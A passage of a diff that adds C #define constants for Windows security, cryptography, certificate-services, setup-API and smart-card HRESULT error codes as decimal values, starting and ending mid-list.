-2146893779 +#define NTE_UI_REQUIRED -2146893778 +#define NTE_HMAC_NOT_SUPPORTED -2146893777 +#define NTE_DEVICE_NOT_READY -2146893776 +#define NTE_AUTHENTICATION_IGNORED -2146893775 +#define NTE_VALIDATION_FAILED -2146893774 +#define NTE_INCORRECT_PASSWORD -2146893773 +#define NTE_ENCRYPTION_FAILURE -2146893772 +#define NTE_DEVICE_NOT_FOUND -2146893771 +#define NTE_USER_CANCELLED -2146893770 +#define NTE_PASSWORD_CHANGE_REQUIRED -2146893769 +#define NTE_NOT_ACTIVE_CONSOLE -2146893768 +#define NTE_VBS_UNAVAILABLE -2146893767 +#define NTE_VBS_CANNOT_DECRYPT_KEY -2146893766 +#define SEC_E_INSUFFICIENT_MEMORY -2146893056 +#define SEC_E_INVALID_HANDLE -2146893055 +#define SEC_E_UNSUPPORTED_FUNCTION -2146893054 +#define SEC_E_TARGET_UNKNOWN -2146893053 +#define SEC_E_INTERNAL_ERROR -2146893052 +#define SEC_E_SECPKG_NOT_FOUND -2146893051 +#define SEC_E_NOT_OWNER -2146893050 +#define SEC_E_CANNOT_INSTALL -2146893049 +#define SEC_E_INVALID_TOKEN -2146893048 +#define SEC_E_CANNOT_PACK -2146893047 +#define SEC_E_QOP_NOT_SUPPORTED -2146893046 +#define SEC_E_NO_IMPERSONATION -2146893045 +#define SEC_E_LOGON_DENIED -2146893044 +#define SEC_E_UNKNOWN_CREDENTIALS -2146893043 +#define SEC_E_NO_CREDENTIALS -2146893042 +#define SEC_E_MESSAGE_ALTERED -2146893041 +#define SEC_E_OUT_OF_SEQUENCE -2146893040 +#define SEC_E_NO_AUTHENTICATING_AUTHORITY -2146893039 +#define SEC_I_CONTINUE_NEEDED 590610 +#define SEC_I_COMPLETE_NEEDED 590611 +#define SEC_I_COMPLETE_AND_CONTINUE 590612 +#define SEC_I_LOCAL_LOGON 590613 +#define SEC_I_GENERIC_EXTENSION_RECEIVED 590614 +#define SEC_E_BAD_PKGID -2146893034 +#define SEC_E_CONTEXT_EXPIRED -2146893033 +#define SEC_I_CONTEXT_EXPIRED 590615 +#define SEC_E_INCOMPLETE_MESSAGE -2146893032 +#define SEC_E_INCOMPLETE_CREDENTIALS -2146893024 +#define SEC_E_BUFFER_TOO_SMALL -2146893023 +#define SEC_I_INCOMPLETE_CREDENTIALS 590624 +#define SEC_I_RENEGOTIATE 590625 +#define SEC_E_WRONG_PRINCIPAL -2146893022 +#define SEC_I_NO_LSA_CONTEXT 590627 +#define SEC_E_TIME_SKEW -2146893020 +#define SEC_E_UNTRUSTED_ROOT -2146893019 +#define SEC_E_ILLEGAL_MESSAGE -2146893018 +#define SEC_E_CERT_UNKNOWN -2146893017 +#define SEC_E_CERT_EXPIRED -2146893016 +#define SEC_E_ENCRYPT_FAILURE -2146893015 +#define SEC_E_DECRYPT_FAILURE -2146893008 +#define SEC_E_ALGORITHM_MISMATCH -2146893007 +#define SEC_E_SECURITY_QOS_FAILED -2146893006 +#define SEC_E_UNFINISHED_CONTEXT_DELETED -2146893005 +#define SEC_E_NO_TGT_REPLY -2146893004 +#define SEC_E_NO_IP_ADDRESSES -2146893003 +#define SEC_E_WRONG_CREDENTIAL_HANDLE -2146893002 +#define SEC_E_CRYPTO_SYSTEM_INVALID -2146893001 +#define SEC_E_MAX_REFERRALS_EXCEEDED -2146893000 +#define SEC_E_MUST_BE_KDC -2146892999 +#define SEC_E_STRONG_CRYPTO_NOT_SUPPORTED -2146892998 +#define SEC_E_TOO_MANY_PRINCIPALS -2146892997 +#define SEC_E_NO_PA_DATA -2146892996 +#define SEC_E_PKINIT_NAME_MISMATCH -2146892995 +#define SEC_E_SMARTCARD_LOGON_REQUIRED -2146892994 +#define SEC_E_SHUTDOWN_IN_PROGRESS -2146892993 +#define SEC_E_KDC_INVALID_REQUEST -2146892992 +#define SEC_E_KDC_UNABLE_TO_REFER -2146892991 +#define SEC_E_KDC_UNKNOWN_ETYPE -2146892990 +#define SEC_E_UNSUPPORTED_PREAUTH -2146892989 +#define SEC_E_DELEGATION_REQUIRED -2146892987 +#define SEC_E_BAD_BINDINGS -2146892986 +#define SEC_E_MULTIPLE_ACCOUNTS -2146892985 +#define SEC_E_NO_KERB_KEY -2146892984 +#define SEC_E_CERT_WRONG_USAGE -2146892983 +#define SEC_E_DOWNGRADE_DETECTED -2146892976 +#define SEC_E_SMARTCARD_CERT_REVOKED -2146892975 +#define SEC_E_ISSUING_CA_UNTRUSTED -2146892974 +#define SEC_E_REVOCATION_OFFLINE_C -2146892973 +#define SEC_E_PKINIT_CLIENT_FAILURE -2146892972 +#define SEC_E_SMARTCARD_CERT_EXPIRED -2146892971 +#define SEC_E_NO_S4U_PROT_SUPPORT -2146892970 +#define SEC_E_CROSSREALM_DELEGATION_FAILURE -2146892969 +#define SEC_E_REVOCATION_OFFLINE_KDC -2146892968 +#define SEC_E_ISSUING_CA_UNTRUSTED_KDC -2146892967 +#define SEC_E_KDC_CERT_EXPIRED -2146892966 +#define SEC_E_KDC_CERT_REVOKED -2146892965 +#define SEC_I_SIGNATURE_NEEDED 590684 +#define SEC_E_INVALID_PARAMETER -2146892963 +#define SEC_E_DELEGATION_POLICY -2146892962 +#define SEC_E_POLICY_NLTM_ONLY -2146892961 +#define SEC_I_NO_RENEGOTIATION 590688 +#define SEC_E_NO_CONTEXT -2146892959 +#define SEC_E_PKU2U_CERT_FAILURE -2146892958 +#define SEC_E_MUTUAL_AUTH_FAILED -2146892957 +#define SEC_I_MESSAGE_FRAGMENT 590692 +#define SEC_E_ONLY_HTTPS_ALLOWED -2146892955 +#define SEC_I_CONTINUE_NEEDED_MESSAGE_OK 590694 +#define SEC_E_APPLICATION_PROTOCOL_MISMATCH -2146892953 +#define SEC_I_ASYNC_CALL_PENDING 590696 +#define SEC_E_INVALID_UPN_NAME -2146892951 +#define SEC_E_EXT_BUFFER_TOO_SMALL -2146892950 +#define SEC_E_INSUFFICIENT_BUFFERS -2146892949 +#define SEC_I_INVALID_SESSION_STATE -2146892948 +#define SEC_E_NO_SPM -2146893052 +#define SEC_E_NOT_SUPPORTED -2146893054 +#define CRYPT_E_MSG_ERROR -2146889727 +#define CRYPT_E_UNKNOWN_ALGO -2146889726 +#define CRYPT_E_OID_FORMAT -2146889725 +#define CRYPT_E_INVALID_MSG_TYPE -2146889724 +#define CRYPT_E_UNEXPECTED_ENCODING -2146889723 +#define CRYPT_E_AUTH_ATTR_MISSING -2146889722 +#define CRYPT_E_HASH_VALUE -2146889721 +#define CRYPT_E_INVALID_INDEX -2146889720 +#define CRYPT_E_ALREADY_DECRYPTED -2146889719 +#define CRYPT_E_NOT_DECRYPTED -2146889718 +#define CRYPT_E_RECIPIENT_NOT_FOUND -2146889717 +#define CRYPT_E_CONTROL_TYPE -2146889716 +#define CRYPT_E_ISSUER_SERIALNUMBER -2146889715 +#define CRYPT_E_SIGNER_NOT_FOUND -2146889714 +#define CRYPT_E_ATTRIBUTES_MISSING -2146889713 +#define CRYPT_E_STREAM_MSG_NOT_READY -2146889712 +#define CRYPT_E_STREAM_INSUFFICIENT_DATA -2146889711 +#define CRYPT_I_NEW_PROTECTION_REQUIRED 593938 +#define CRYPT_E_BAD_LEN -2146885631 +#define CRYPT_E_BAD_ENCODE -2146885630 +#define CRYPT_E_FILE_ERROR -2146885629 +#define CRYPT_E_NOT_FOUND -2146885628 +#define CRYPT_E_EXISTS -2146885627 +#define CRYPT_E_NO_PROVIDER -2146885626 +#define CRYPT_E_SELF_SIGNED -2146885625 +#define CRYPT_E_DELETED_PREV -2146885624 +#define CRYPT_E_NO_MATCH -2146885623 +#define CRYPT_E_UNEXPECTED_MSG_TYPE -2146885622 +#define CRYPT_E_NO_KEY_PROPERTY -2146885621 +#define CRYPT_E_NO_DECRYPT_CERT -2146885620 +#define CRYPT_E_BAD_MSG -2146885619 +#define CRYPT_E_NO_SIGNER -2146885618 +#define CRYPT_E_PENDING_CLOSE -2146885617 +#define CRYPT_E_REVOKED -2146885616 +#define CRYPT_E_NO_REVOCATION_DLL -2146885615 +#define CRYPT_E_NO_REVOCATION_CHECK -2146885614 +#define CRYPT_E_REVOCATION_OFFLINE -2146885613 +#define CRYPT_E_NOT_IN_REVOCATION_DATABASE -2146885612 +#define CRYPT_E_INVALID_NUMERIC_STRING -2146885600 +#define CRYPT_E_INVALID_PRINTABLE_STRING -2146885599 +#define CRYPT_E_INVALID_IA5_STRING -2146885598 +#define CRYPT_E_INVALID_X500_STRING -2146885597 +#define CRYPT_E_NOT_CHAR_STRING -2146885596 +#define CRYPT_E_FILERESIZED -2146885595 +#define CRYPT_E_SECURITY_SETTINGS -2146885594 +#define CRYPT_E_NO_VERIFY_USAGE_DLL -2146885593 +#define CRYPT_E_NO_VERIFY_USAGE_CHECK -2146885592 +#define CRYPT_E_VERIFY_USAGE_OFFLINE -2146885591 +#define CRYPT_E_NOT_IN_CTL -2146885590 +#define CRYPT_E_NO_TRUSTED_SIGNER -2146885589 +#define CRYPT_E_MISSING_PUBKEY_PARA -2146885588 +#define CRYPT_E_OBJECT_LOCATOR_OBJECT_NOT_FOUND -2146885587 +#define CRYPT_E_OSS_ERROR -2146881536 +#define OSS_MORE_BUF -2146881535 +#define OSS_NEGATIVE_UINTEGER -2146881534 +#define OSS_PDU_RANGE -2146881533 +#define OSS_MORE_INPUT -2146881532 +#define OSS_DATA_ERROR -2146881531 +#define OSS_BAD_ARG -2146881530 +#define OSS_BAD_VERSION -2146881529 +#define OSS_OUT_MEMORY -2146881528 +#define OSS_PDU_MISMATCH -2146881527 +#define OSS_LIMITED -2146881526 +#define OSS_BAD_PTR -2146881525 +#define OSS_BAD_TIME -2146881524 +#define OSS_INDEFINITE_NOT_SUPPORTED -2146881523 +#define OSS_MEM_ERROR -2146881522 +#define OSS_BAD_TABLE -2146881521 +#define OSS_TOO_LONG -2146881520 +#define OSS_CONSTRAINT_VIOLATED -2146881519 +#define OSS_FATAL_ERROR -2146881518 +#define OSS_ACCESS_SERIALIZATION_ERROR -2146881517 +#define OSS_NULL_TBL -2146881516 +#define OSS_NULL_FCN -2146881515 +#define OSS_BAD_ENCRULES -2146881514 +#define OSS_UNAVAIL_ENCRULES -2146881513 +#define OSS_CANT_OPEN_TRACE_WINDOW -2146881512 +#define OSS_UNIMPLEMENTED -2146881511 +#define OSS_OID_DLL_NOT_LINKED -2146881510 +#define OSS_CANT_OPEN_TRACE_FILE -2146881509 +#define OSS_TRACE_FILE_ALREADY_OPEN -2146881508 +#define OSS_TABLE_MISMATCH -2146881507 +#define OSS_TYPE_NOT_SUPPORTED -2146881506 +#define OSS_REAL_DLL_NOT_LINKED -2146881505 +#define OSS_REAL_CODE_NOT_LINKED -2146881504 +#define OSS_OUT_OF_RANGE -2146881503 +#define OSS_COPIER_DLL_NOT_LINKED -2146881502 +#define OSS_CONSTRAINT_DLL_NOT_LINKED -2146881501 +#define OSS_COMPARATOR_DLL_NOT_LINKED -2146881500 +#define OSS_COMPARATOR_CODE_NOT_LINKED -2146881499 +#define OSS_MEM_MGR_DLL_NOT_LINKED -2146881498 +#define OSS_PDV_DLL_NOT_LINKED -2146881497 +#define OSS_PDV_CODE_NOT_LINKED -2146881496 +#define OSS_API_DLL_NOT_LINKED -2146881495 +#define OSS_BERDER_DLL_NOT_LINKED -2146881494 +#define OSS_PER_DLL_NOT_LINKED -2146881493 +#define OSS_OPEN_TYPE_ERROR -2146881492 +#define OSS_MUTEX_NOT_CREATED -2146881491 +#define OSS_CANT_CLOSE_TRACE_FILE -2146881490 +#define CRYPT_E_ASN1_ERROR -2146881280 +#define CRYPT_E_ASN1_INTERNAL -2146881279 +#define CRYPT_E_ASN1_EOD -2146881278 +#define CRYPT_E_ASN1_CORRUPT -2146881277 +#define CRYPT_E_ASN1_LARGE -2146881276 +#define CRYPT_E_ASN1_CONSTRAINT -2146881275 +#define CRYPT_E_ASN1_MEMORY -2146881274 +#define CRYPT_E_ASN1_OVERFLOW -2146881273 +#define CRYPT_E_ASN1_BADPDU -2146881272 +#define CRYPT_E_ASN1_BADARGS -2146881271 +#define CRYPT_E_ASN1_BADREAL -2146881270 +#define CRYPT_E_ASN1_BADTAG -2146881269 +#define CRYPT_E_ASN1_CHOICE -2146881268 +#define CRYPT_E_ASN1_RULE -2146881267 +#define CRYPT_E_ASN1_UTF8 -2146881266 +#define CRYPT_E_ASN1_PDU_TYPE -2146881229 +#define CRYPT_E_ASN1_NYI -2146881228 +#define CRYPT_E_ASN1_EXTENDED -2146881023 +#define CRYPT_E_ASN1_NOEOD -2146881022 +#define CERTSRV_E_BAD_REQUESTSUBJECT -2146877439 +#define CERTSRV_E_NO_REQUEST -2146877438 +#define CERTSRV_E_BAD_REQUESTSTATUS -2146877437 +#define CERTSRV_E_PROPERTY_EMPTY -2146877436 +#define CERTSRV_E_INVALID_CA_CERTIFICATE -2146877435 +#define CERTSRV_E_SERVER_SUSPENDED -2146877434 +#define CERTSRV_E_ENCODING_LENGTH -2146877433 +#define CERTSRV_E_ROLECONFLICT -2146877432 +#define CERTSRV_E_RESTRICTEDOFFICER -2146877431 +#define CERTSRV_E_KEY_ARCHIVAL_NOT_CONFIGURED -2146877430 +#define CERTSRV_E_NO_VALID_KRA -2146877429 +#define CERTSRV_E_BAD_REQUEST_KEY_ARCHIVAL -2146877428 +#define CERTSRV_E_NO_CAADMIN_DEFINED -2146877427 +#define CERTSRV_E_BAD_RENEWAL_CERT_ATTRIBUTE -2146877426 +#define CERTSRV_E_NO_DB_SESSIONS -2146877425 +#define CERTSRV_E_ALIGNMENT_FAULT -2146877424 +#define CERTSRV_E_ENROLL_DENIED -2146877423 +#define CERTSRV_E_TEMPLATE_DENIED -2146877422 +#define CERTSRV_E_DOWNLEVEL_DC_SSL_OR_UPGRADE -2146877421 +#define CERTSRV_E_ADMIN_DENIED_REQUEST -2146877420 +#define CERTSRV_E_NO_POLICY_SERVER -2146877419 +#define CERTSRV_E_WEAK_SIGNATURE_OR_KEY -2146877418 +#define CERTSRV_E_KEY_ATTESTATION_NOT_SUPPORTED -2146877417 +#define CERTSRV_E_ENCRYPTION_CERT_REQUIRED -2146877416 +#define CERTSRV_E_UNSUPPORTED_CERT_TYPE -2146875392 +#define CERTSRV_E_NO_CERT_TYPE -2146875391 +#define CERTSRV_E_TEMPLATE_CONFLICT -2146875390 +#define CERTSRV_E_SUBJECT_ALT_NAME_REQUIRED -2146875389 +#define CERTSRV_E_ARCHIVED_KEY_REQUIRED -2146875388 +#define CERTSRV_E_SMIME_REQUIRED -2146875387 +#define CERTSRV_E_BAD_RENEWAL_SUBJECT -2146875386 +#define CERTSRV_E_BAD_TEMPLATE_VERSION -2146875385 +#define CERTSRV_E_TEMPLATE_POLICY_REQUIRED -2146875384 +#define CERTSRV_E_SIGNATURE_POLICY_REQUIRED -2146875383 +#define CERTSRV_E_SIGNATURE_COUNT -2146875382 +#define CERTSRV_E_SIGNATURE_REJECTED -2146875381 +#define CERTSRV_E_ISSUANCE_POLICY_REQUIRED -2146875380 +#define CERTSRV_E_SUBJECT_UPN_REQUIRED -2146875379 +#define CERTSRV_E_SUBJECT_DIRECTORY_GUID_REQUIRED -2146875378 +#define CERTSRV_E_SUBJECT_DNS_REQUIRED -2146875377 +#define CERTSRV_E_ARCHIVED_KEY_UNEXPECTED -2146875376 +#define CERTSRV_E_KEY_LENGTH -2146875375 +#define CERTSRV_E_SUBJECT_EMAIL_REQUIRED -2146875374 +#define CERTSRV_E_UNKNOWN_CERT_TYPE -2146875373 +#define CERTSRV_E_CERT_TYPE_OVERLAP -2146875372 +#define CERTSRV_E_TOO_MANY_SIGNATURES -2146875371 +#define CERTSRV_E_RENEWAL_BAD_PUBLIC_KEY -2146875370 +#define CERTSRV_E_INVALID_EK -2146875369 +#define CERTSRV_E_INVALID_IDBINDING -2146875368 +#define CERTSRV_E_INVALID_ATTESTATION -2146875367 +#define CERTSRV_E_KEY_ATTESTATION -2146875366 +#define CERTSRV_E_CORRUPT_KEY_ATTESTATION -2146875365 +#define CERTSRV_E_EXPIRED_CHALLENGE -2146875364 +#define CERTSRV_E_INVALID_RESPONSE -2146875363 +#define CERTSRV_E_INVALID_REQUESTID -2146875362 +#define CERTSRV_E_REQUEST_PRECERTIFICATE_MISMATCH -2146875361 +#define CERTSRV_E_PENDING_CLIENT_RESPONSE -2146875360 +#define CERTSRV_E_SEC_EXT_DIRECTORY_SID_REQUIRED -2146875359 +#define XENROLL_E_KEY_NOT_EXPORTABLE -2146873344 +#define XENROLL_E_CANNOT_ADD_ROOT_CERT -2146873343 +#define XENROLL_E_RESPONSE_KA_HASH_NOT_FOUND -2146873342 +#define XENROLL_E_RESPONSE_UNEXPECTED_KA_HASH -2146873341 +#define XENROLL_E_RESPONSE_KA_HASH_MISMATCH -2146873340 +#define XENROLL_E_KEYSPEC_SMIME_MISMATCH -2146873339 +#define TRUST_E_SYSTEM_ERROR -2146869247 +#define TRUST_E_NO_SIGNER_CERT -2146869246 +#define TRUST_E_COUNTER_SIGNER -2146869245 +#define TRUST_E_CERT_SIGNATURE -2146869244 +#define TRUST_E_TIME_STAMP -2146869243 +#define TRUST_E_BAD_DIGEST -2146869232 +#define TRUST_E_MALFORMED_SIGNATURE -2146869231 +#define TRUST_E_BASIC_CONSTRAINTS -2146869223 +#define TRUST_E_FINANCIAL_CRITERIA -2146869218 +#define MSSIPOTF_E_OUTOFMEMRANGE -2146865151 +#define MSSIPOTF_E_CANTGETOBJECT -2146865150 +#define MSSIPOTF_E_NOHEADTABLE -2146865149 +#define MSSIPOTF_E_BAD_MAGICNUMBER -2146865148 +#define MSSIPOTF_E_BAD_OFFSET_TABLE -2146865147 +#define MSSIPOTF_E_TABLE_TAGORDER -2146865146 +#define MSSIPOTF_E_TABLE_LONGWORD -2146865145 +#define MSSIPOTF_E_BAD_FIRST_TABLE_PLACEMENT -2146865144 +#define MSSIPOTF_E_TABLES_OVERLAP -2146865143 +#define MSSIPOTF_E_TABLE_PADBYTES -2146865142 +#define MSSIPOTF_E_FILETOOSMALL -2146865141 +#define MSSIPOTF_E_TABLE_CHECKSUM -2146865140 +#define MSSIPOTF_E_FILE_CHECKSUM -2146865139 +#define MSSIPOTF_E_FAILED_POLICY -2146865136 +#define MSSIPOTF_E_FAILED_HINTS_CHECK -2146865135 +#define MSSIPOTF_E_NOT_OPENTYPE -2146865134 +#define MSSIPOTF_E_FILE -2146865133 +#define MSSIPOTF_E_CRYPT -2146865132 +#define MSSIPOTF_E_BADVERSION -2146865131 +#define MSSIPOTF_E_DSIG_STRUCTURE -2146865130 +#define MSSIPOTF_E_PCONST_CHECK -2146865129 +#define MSSIPOTF_E_STRUCTURE -2146865128 +#define ERROR_CRED_REQUIRES_CONFIRMATION -2146865127 +#define NTE_OP_OK 0x0 +#define TRUST_E_PROVIDER_UNKNOWN -2146762751 +#define TRUST_E_ACTION_UNKNOWN -2146762750 +#define TRUST_E_SUBJECT_FORM_UNKNOWN -2146762749 +#define TRUST_E_SUBJECT_NOT_TRUSTED -2146762748 +#define DIGSIG_E_ENCODE -2146762747 +#define DIGSIG_E_DECODE -2146762746 +#define DIGSIG_E_EXTENSIBILITY -2146762745 +#define DIGSIG_E_CRYPTO -2146762744 +#define PERSIST_E_SIZEDEFINITE -2146762743 +#define PERSIST_E_SIZEINDEFINITE -2146762742 +#define PERSIST_E_NOTSELFSIZING -2146762741 +#define TRUST_E_NOSIGNATURE -2146762496 +#define CERT_E_EXPIRED -2146762495 +#define CERT_E_VALIDITYPERIODNESTING -2146762494 +#define CERT_E_ROLE -2146762493 +#define CERT_E_PATHLENCONST -2146762492 +#define CERT_E_CRITICAL -2146762491 +#define CERT_E_PURPOSE -2146762490 +#define CERT_E_ISSUERCHAINING -2146762489 +#define CERT_E_MALFORMED -2146762488 +#define CERT_E_UNTRUSTEDROOT -2146762487 +#define CERT_E_CHAINING -2146762486 +#define TRUST_E_FAIL -2146762485 +#define CERT_E_REVOKED -2146762484 +#define CERT_E_UNTRUSTEDTESTROOT -2146762483 +#define CERT_E_REVOCATION_FAILURE -2146762482 +#define CERT_E_CN_NO_MATCH -2146762481 +#define CERT_E_WRONG_USAGE -2146762480 +#define TRUST_E_EXPLICIT_DISTRUST -2146762479 +#define CERT_E_UNTRUSTEDCA -2146762478 +#define CERT_E_INVALID_POLICY -2146762477 +#define CERT_E_INVALID_NAME -2146762476 +#define SPAPI_E_EXPECTED_SECTION_NAME -2146500608 +#define SPAPI_E_BAD_SECTION_NAME_LINE -2146500607 +#define SPAPI_E_SECTION_NAME_TOO_LONG -2146500606 +#define SPAPI_E_GENERAL_SYNTAX -2146500605 +#define SPAPI_E_WRONG_INF_STYLE -2146500352 +#define SPAPI_E_SECTION_NOT_FOUND -2146500351 +#define SPAPI_E_LINE_NOT_FOUND -2146500350 +#define SPAPI_E_NO_BACKUP -2146500349 +#define SPAPI_E_NO_ASSOCIATED_CLASS -2146500096 +#define SPAPI_E_CLASS_MISMATCH -2146500095 +#define SPAPI_E_DUPLICATE_FOUND -2146500094 +#define SPAPI_E_NO_DRIVER_SELECTED -2146500093 +#define SPAPI_E_KEY_DOES_NOT_EXIST -2146500092 +#define SPAPI_E_INVALID_DEVINST_NAME -2146500091 +#define SPAPI_E_INVALID_CLASS -2146500090 +#define SPAPI_E_DEVINST_ALREADY_EXISTS -2146500089 +#define SPAPI_E_DEVINFO_NOT_REGISTERED -2146500088 +#define SPAPI_E_INVALID_REG_PROPERTY -2146500087 +#define SPAPI_E_NO_INF -2146500086 +#define SPAPI_E_NO_SUCH_DEVINST -2146500085 +#define SPAPI_E_CANT_LOAD_CLASS_ICON -2146500084 +#define SPAPI_E_INVALID_CLASS_INSTALLER -2146500083 +#define SPAPI_E_DI_DO_DEFAULT -2146500082 +#define SPAPI_E_DI_NOFILECOPY -2146500081 +#define SPAPI_E_INVALID_HWPROFILE -2146500080 +#define SPAPI_E_NO_DEVICE_SELECTED -2146500079 +#define SPAPI_E_DEVINFO_LIST_LOCKED -2146500078 +#define SPAPI_E_DEVINFO_DATA_LOCKED -2146500077 +#define SPAPI_E_DI_BAD_PATH -2146500076 +#define SPAPI_E_NO_CLASSINSTALL_PARAMS -2146500075 +#define SPAPI_E_FILEQUEUE_LOCKED -2146500074 +#define SPAPI_E_BAD_SERVICE_INSTALLSECT -2146500073 +#define SPAPI_E_NO_CLASS_DRIVER_LIST -2146500072 +#define SPAPI_E_NO_ASSOCIATED_SERVICE -2146500071 +#define SPAPI_E_NO_DEFAULT_DEVICE_INTERFACE -2146500070 +#define SPAPI_E_DEVICE_INTERFACE_ACTIVE -2146500069 +#define SPAPI_E_DEVICE_INTERFACE_REMOVED -2146500068 +#define SPAPI_E_BAD_INTERFACE_INSTALLSECT -2146500067 +#define SPAPI_E_NO_SUCH_INTERFACE_CLASS -2146500066 +#define SPAPI_E_INVALID_REFERENCE_STRING -2146500065 +#define SPAPI_E_INVALID_MACHINENAME -2146500064 +#define SPAPI_E_REMOTE_COMM_FAILURE -2146500063 +#define SPAPI_E_MACHINE_UNAVAILABLE -2146500062 +#define SPAPI_E_NO_CONFIGMGR_SERVICES -2146500061 +#define SPAPI_E_INVALID_PROPPAGE_PROVIDER -2146500060 +#define SPAPI_E_NO_SUCH_DEVICE_INTERFACE -2146500059 +#define SPAPI_E_DI_POSTPROCESSING_REQUIRED -2146500058 +#define SPAPI_E_INVALID_COINSTALLER -2146500057 +#define SPAPI_E_NO_COMPAT_DRIVERS -2146500056 +#define SPAPI_E_NO_DEVICE_ICON -2146500055 +#define SPAPI_E_INVALID_INF_LOGCONFIG -2146500054 +#define SPAPI_E_DI_DONT_INSTALL -2146500053 +#define SPAPI_E_INVALID_FILTER_DRIVER -2146500052 +#define SPAPI_E_NON_WINDOWS_NT_DRIVER -2146500051 +#define SPAPI_E_NON_WINDOWS_DRIVER -2146500050 +#define SPAPI_E_NO_CATALOG_FOR_OEM_INF -2146500049 +#define SPAPI_E_DEVINSTALL_QUEUE_NONNATIVE -2146500048 +#define SPAPI_E_NOT_DISABLEABLE -2146500047 +#define SPAPI_E_CANT_REMOVE_DEVINST -2146500046 +#define SPAPI_E_INVALID_TARGET -2146500045 +#define SPAPI_E_DRIVER_NONNATIVE -2146500044 +#define SPAPI_E_IN_WOW64 -2146500043 +#define SPAPI_E_SET_SYSTEM_RESTORE_POINT -2146500042 +#define SPAPI_E_INCORRECTLY_COPIED_INF -2146500041 +#define SPAPI_E_SCE_DISABLED -2146500040 +#define SPAPI_E_UNKNOWN_EXCEPTION -2146500039 +#define SPAPI_E_PNP_REGISTRY_ERROR -2146500038 +#define SPAPI_E_REMOTE_REQUEST_UNSUPPORTED -2146500037 +#define SPAPI_E_NOT_AN_INSTALLED_OEM_INF -2146500036 +#define SPAPI_E_INF_IN_USE_BY_DEVICES -2146500035 +#define SPAPI_E_DI_FUNCTION_OBSOLETE -2146500034 +#define SPAPI_E_NO_AUTHENTICODE_CATALOG -2146500033 +#define SPAPI_E_AUTHENTICODE_DISALLOWED -2146500032 +#define SPAPI_E_AUTHENTICODE_TRUSTED_PUBLISHER -2146500031 +#define SPAPI_E_AUTHENTICODE_TRUST_NOT_ESTABLISHED -2146500030 +#define SPAPI_E_AUTHENTICODE_PUBLISHER_NOT_TRUSTED -2146500029 +#define SPAPI_E_SIGNATURE_OSATTRIBUTE_MISMATCH -2146500028 +#define SPAPI_E_ONLY_VALIDATE_VIA_AUTHENTICODE -2146500027 +#define SPAPI_E_DEVICE_INSTALLER_NOT_READY -2146500026 +#define SPAPI_E_DRIVER_STORE_ADD_FAILED -2146500025 +#define SPAPI_E_DEVICE_INSTALL_BLOCKED -2146500024 +#define SPAPI_E_DRIVER_INSTALL_BLOCKED -2146500023 +#define SPAPI_E_WRONG_INF_TYPE -2146500022 +#define SPAPI_E_FILE_HASH_NOT_IN_CATALOG -2146500021 +#define SPAPI_E_DRIVER_STORE_DELETE_FAILED -2146500020 +#define SPAPI_E_UNRECOVERABLE_STACK_OVERFLOW -2146499840 +#define SPAPI_E_ERROR_NOT_INSTALLED -2146496512 +#define SCARD_F_INTERNAL_ERROR -2146435071 +#define SCARD_E_CANCELLED -2146435070 +#define SCARD_E_INVALID_HANDLE -2146435069 +#define SCARD_E_INVALID_PARAMETER -2146435068 +#define SCARD_E_INVALID_TARGET -2146435067 +#define SCARD_E_NO_MEMORY -2146435066 +#define SCARD_F_WAITED_TOO_LONG -2146435065 +#define SCARD_E_INSUFFICIENT_BUFFER -2146435064 +#define SCARD_E_UNKNOWN_READER -2146435063 +#define SCARD_E_TIMEOUT -2146435062 +#define SCARD_E_SHARING_VIOLATION -2146435061 +#define SCARD_E_NO_SMARTCARD -2146435060 +#define SCARD_E_UNKNOWN_CARD -2146435059 +#define SCARD_E_CANT_DISPOSE -2146435058 +#define SCARD_E_PROTO_MISMATCH -2146435057 +#define SCARD_E_NOT_READY -2146435056 +#define SCARD_E_INVALID_VALUE -2146435055 +#define SCARD_E_SYSTEM_CANCELLED -2146435054 +#define SCARD_F_COMM_ERROR -2146435053 +#define SCARD_F_UNKNOWN_ERROR -2146435052 +#define SCARD_E_INVALID_ATR -2146435051 +#define SCARD_E_NOT_TRANSACTED -2146435050 +#define SCARD_E_READER_UNAVAILABLE -2146435049 +#define SCARD_P_SHUTDOWN -2146435048 +#define SCARD_E_PCI_TOO_SMALL -2146435047 +#define SCARD_E_READER_UNSUPPORTED -2146435046 +#define SCARD_E_DUPLICATE_READER -2146435045 +#define SCARD_E_CARD_UNSUPPORTED -2146435044 +#define SCARD_E_NO_SERVICE -2146435043 +#define SCARD_E_SERVICE_STOPPED -2146435042 +#define SCARD_E_UNEXPECTED -2146435041 +#define SCARD_E_ICC_INSTALLATION -2146435040 +#define SCARD_E_ICC_CREATEORDER -2146435039 +#define SCARD_E_UNSUPPORTED_FEATURE -2146435038 +#define SCARD_E_DIR_NOT_FOUND -2146435037 +#define SCARD_E_FILE_NOT_FOUND -2146435036 +#define SCARD_E_NO_DIR -2146435035 +#define SCARD_E_NO_FILE -2146435034 +#define SCARD_E_NO_ACCESS -2146435033 +#define SCARD_E_WRITE_TOO_MANY -2146435032 +#define SCARD_E_BAD_SEEK -2146435031 +#define SCARD_E_INVALID_CHV -2146435030 +#define SCARD_E_UNKNOWN_RES_MNG -2146435029 +#define SCARD_E_NO_SUCH_CERTIFICATE -2146435028 +#define SCARD_E_CERTIFICATE_UNAVAILABLE -2146435027 +#define SCARD_E_NO_READERS_AVAILABLE -2146435026 +#define SCARD_E_COMM_DATA_LOST -2146435025 +#define SCARD_E_NO_KEY_CONTAINER -2146435024 +#define SCARD_E_SERVER_TOO_BUSY -2146435023 +#define SCARD_E_PIN_CACHE_EXPIRED -2146435022 +#define SCARD_E_NO_PIN_CACHE -2146435021 +#define SCARD_E_READ_ONLY_CARD -2146435020 +#define SCARD_W_UNSUPPORTED_CARD -2146434971 +#define SCARD_W_UNRESPONSIVE_CARD -2146434970 +#define SCARD_W_UNPOWERED_CARD -2146434969 +#define SCARD_W_RESET_CARD -2146434968 +#define SCARD_W_REMOVED_CARD -2146434967 +#define SCARD_W_SECURITY_VIOLATION -2146434966 +#define SCARD_W_WRONG_CHV -2146434965 +#define SCARD_W_CHV_BLOCKED -2146434964 +#define SCARD_W_EOF -2146434963 +#define SCARD_W_CANCELLED_BY_USER -2146434962 +#define SCARD_W_CARD_NOT_AUTHENTICATED -2146434961 +#define SCARD_W_CACHE_ITEM_NOT_FOUND -2146434960 +#define SCARD_W_CACHE_ITEM_STALE -2146434959 +#define SCARD_W_CACHE_ITEM_TOO_BIG -2146434958 +#define COMADMIN_E_OBJECTERRORS -2146368511 +#define COMADMIN_E_OBJECTINVALID -2146368510 +#define COMADMIN_E_KEYMISSING 